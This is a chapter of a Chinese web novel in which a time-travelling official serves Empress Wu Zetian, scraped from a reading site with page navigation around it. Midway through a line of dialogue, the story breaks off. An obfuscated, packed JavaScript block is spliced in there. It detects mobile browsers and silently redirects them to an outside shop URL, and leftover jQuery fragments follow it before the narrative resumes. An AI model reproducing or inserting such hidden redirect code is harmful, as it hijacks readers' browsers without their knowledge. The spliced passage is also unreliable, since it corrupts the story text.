默认冷灰
24号文字
方正启体

7. 铜匦未铸

作者:王骆安本书字数:K更新时间:
    显庆五年,高宗的风疾越来越严重了。


    这一年的春天,高宗在含元殿朝会上突然头晕目眩,几乎站立不稳,被内侍搀扶着退朝。从那以后,他批阅奏章的时间越来越短,交给武则天处理的事务越来越多。


    叶唯记得史书上的记载:显庆五年以后,高宗“风眩头重,目不能视”,百官奏事,多令武则天“决之”。


    她亲眼见证了这个历史转折点。


    那天傍晚,叶唯在武则天的寝殿中整理奏章。高宗坐在一旁的软榻上,闭着眼睛,脸色苍白。武则天站在案前,手中握着一支笔,正在一份奏章上批阅。


    “陛下,”武则天放下笔,走到高宗身边,“今日的奏章臣妾已经批完了。您要不要过目?”


    高宗摇了摇头,声音虚弱:“你看着办吧。”


    “有几件事需要陛下圣裁。”武则天翻开一份奏章,“宰相班子的调整,臣妾拟了三个方案,请陛下定夺。”


    高宗睁开眼睛,看了看武则天手中的奏章,又看了看她脸上的表情。


    “媚娘,”他忽然叫了她的名字——那是她的封号,也是只有他能叫的名字,“你替朕决定吧。朕信得过你。”


    武则天的手微微顿了一下。


    叶唯站在一旁,看到武则天眼中的光芒闪烁了一下——那不是感动,而是某种更复杂的东西。


    “陛下,”武则天的声音很轻,“臣妾只是一介女流,如何能替陛下决定朝政大事?”


    高宗握住她的手:“你是朕的皇后,也是朕的左膀右臂。朕的身体不好,这天下的事,往后要靠你了。”


    殿内安静了几秒。


    叶唯垂下眼帘,不敢看武则天此刻的表情。


    她知道这一刻意味着什么。


    这是武则天从“皇后的辅佐”到“帝国的实际统治者”的转折点。从这一天开始,武则天不再只是替高宗处理政务的“代理人”,而是真正开始以自己的意志决定这个帝国的走向。


    历史书上写得很简单:“显庆五年,高宗风眩头重,目不能视,百司奏事,皇后武则天多决之。”


    但叶唯此刻才真正明白,这句话背后有多少暗流涌动、多少权力博弈、多少不为人知的深夜密谈。


    ---


    深夜。


    裴居道坐在大理寺的值房里,面前摊着一份刚从雍州送回来的密报。


    密报上只有一行字:


    “雍州万年县,无叶氏。叶微言,查无此人。”


    裴居道盯着那行字看了很久。


    查无此人。


    这四个字,意味着叶微言的身份是彻头彻尾的伪造。不是“查不到”,而是“不存在”。她不是雍州万年县人,她没有参加过明经科的考试,许敬宗举荐的“叶微言”是一个不存在的人。


    那么,她是谁?


    裴居道站起身,走到窗前,看着窗外的夜色。


    洛阳的夜空中没有星星,只有一轮弯月,挂在宫城的飞檐上,像一把锋利的镰刀。


    他想起皇后娘娘说过的话:“继续查。”


    但他不敢再查了。


    不是因为查不到,而是因为——他怕查到不该查的东西。


    叶微言是皇后娘娘身边的人。皇后娘娘知道她的来历吗?如果知道,为什么还要留她在身边?如果不知道——那他把调查结果呈上去,皇后娘娘会怎么想?


    裴居道在窗前站了很久,最终做了一个决定。


    他把那份密报塞进袖中,推开门,朝武则天的寝殿走去。


    ———


    当天夜里,叶唯没有回自己的住处。


    武则天留她在寝殿中整理一批加急的军报——西北边境的吐蕃又开始蠢蠢欲动,需要尽快拟定应对方案。


    夜深了,殿中只剩下叶唯一人。


    她坐在案前,手中的笔在纸上沙沙作响。窗外传来更夫敲梆子的声音——三更了。


    “还没回去?”


    武则天的声音从内殿传来。叶唯抬起头,看到武则天披着一件外袍走了出来,手中端着一碗热气腾腾的汤。


    “臣马上就好。”叶唯说。


    武则天走到她身边,将那碗汤放在案上:“喝了它。”


    叶唯愣了一下,低头看了看那碗汤——是姜汤,还冒着热气,里面加了红枣和枸杞。


    “娘娘……”


    “别废话,喝了。”武则天在她对面坐下,目光落在那些军报上,“吐蕃的事,你怎么看?”


    叶唯端起姜汤喝了一口,辛辣中带着一丝甜味。


    “吐蕃赞普松赞干布已死多年,其孙芒松芒赞年幼,大权掌握在论东赞等大臣手中。这些人野心勃勃,迟早会犯边。”叶唯放下碗,“臣以为,当务之急是加强安西四镇的防务,同时与吐蕃周边的小国结盟,形成掎角之势。”


    武则天微微点头:“你说的这些,裴居道也说过。”


    叶唯的心跳漏了一拍。


    “裴居道,”武则天的手指在案上轻轻叩了两下,“你觉得这个人怎么样?”


    这是一个危险的问题。


    叶唯知道裴居道是武则天的心腹。她也知道裴居道一直在暗中观察她、试探她、评估她。如果她说裴居道的好话,武则天会认为她在讨好权贵;如果她说裴居道的坏话,武则天会认为她在挑拨离间。


    “裴侍郎是个能臣。”叶唯斟酌着措辞,“精于刑名,通晓律法,办事干练。但——”


    “但什么?”


    “但他太聪明了。”叶唯说,“聪明人往往有两个毛病:一是自以为是,二是不知道满足。裴侍郎是否犯这两个毛病,臣不知道。但臣以为,娘娘用他,要留一分余地。”


    武则天沉默了片刻。


    “你说得对。”她最终说,“太聪明的人,用好了是利器,用不好是伤己的刀。”


    叶唯垂下眼帘,不再说话。


    她知道自己的回答不会让武则天完全满意。但她也知道,在裴居道这个问题上,她必须给出一个模棱两可的答案——既不得罪裴居道,也不让武则天觉得她在结党。


    “叶微言。”武则天忽然叫她的名字。


    “臣在。”


    “你跟了本宫快三年了。”


    “是。”


    “这三年里,你从没问过本宫一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486862|202063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个问题。”武则天的目光落在她脸上,“你就不好奇,本宫到底想做什么吗?”


    叶唯沉默了很久。


    她当然知道武则天想做什么。她想当皇帝。从她被立为皇后的那一天起,她的目标就不是“皇后”这个位置,而是更高的那个位置。


    但她不能说出来。


    “臣不好奇。”她最终说。


    “为什么?”


    “因为不管娘娘想做什么,臣都会尽全力辅佐。”叶唯抬起头,看着武则天的眼睛,“娘娘的目标,就是臣的目标。娘娘的方向,就是臣的方向。”


    殿内安静了很久。


    武则天的嘴角微微弯了一下,那不是笑,而是一种确认——确认眼前的这个人,是可以信任的。


    “你很会说话。”武则天再次说了这句话,但这一次,她的语气中没有审视,只有一种淡淡的、不易察觉的温情。


    “臣不会说话。”叶唯同样回答,“臣只会说真话。”


    武则天站起身,走到窗前,掀开帘子。月光照进来,在她脸上镀了一层银白色的光。


    “你知道本宫最羡慕什么人吗?”她忽然问。


    叶唯摇头。


    “男人。”武则天说,“本宫羡慕男人。不是因为他们比女人强,而是因为他们可以堂堂正正地做自己想做的事。女人想做同样的事,就要偷偷摸摸、拐弯抹角、用尽手段。”


    叶唯的心猛地揪了一下。


    她知道武则天说的是真心话。这不是皇后的威仪,不是政治家的权谋,而是一个女人——一个被困在时代和性别牢笼中的女人——最真实的感受。


    “娘娘,”叶唯的声音有些发涩,“臣觉得,娘娘不必羡慕任何人。”


    武则天转过身看着她。


    “因为娘娘正在做的事,是这个天下几千年来的女人想做而做不到的事。”叶唯说,“娘娘不需要羡慕男人。娘娘会成为让男人羡慕的人。”


    月光下,武则天的眼中似乎有什么东西闪烁了一下。


    她没有说话。


    她只是转过身,重新面对窗外的月光,留给叶唯一个沉默的背影。


    那一夜,叶唯回到自己的住处时,已经是四更天了。


    她躺在床上,久久无法入睡。


    她想起武则天说的那句话——“本宫羡慕男人”。想起她说那句话时的表情——不是愤怒,不是不甘,而是一种深深的、刻进骨子里的疲惫。


    她想起史书上记载的武则天:酷吏、杀女、废子、篡唐。那些标签贴在她身上一千多年,每一个都带着血淋淋的颜色。


    但史书没有记载的是:这个女人曾经也是一个会羡慕别人的人。她不是天生的铁石心肠,她是一步一步、一次一次、一滴血一滴泪地把自己打磨成了一把刀。


    叶唯闭上眼睛,在心中对自己说了一句话:


    “我来了。我不会改变你的命运——因为那不是我该做的。但我会陪着你,走完这一程。”


    窗外的月光透过窗棂照进来,在她脸上投下一片银白色的光。


    长安很远,洛阳很近。


    历史很远,此刻很近。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)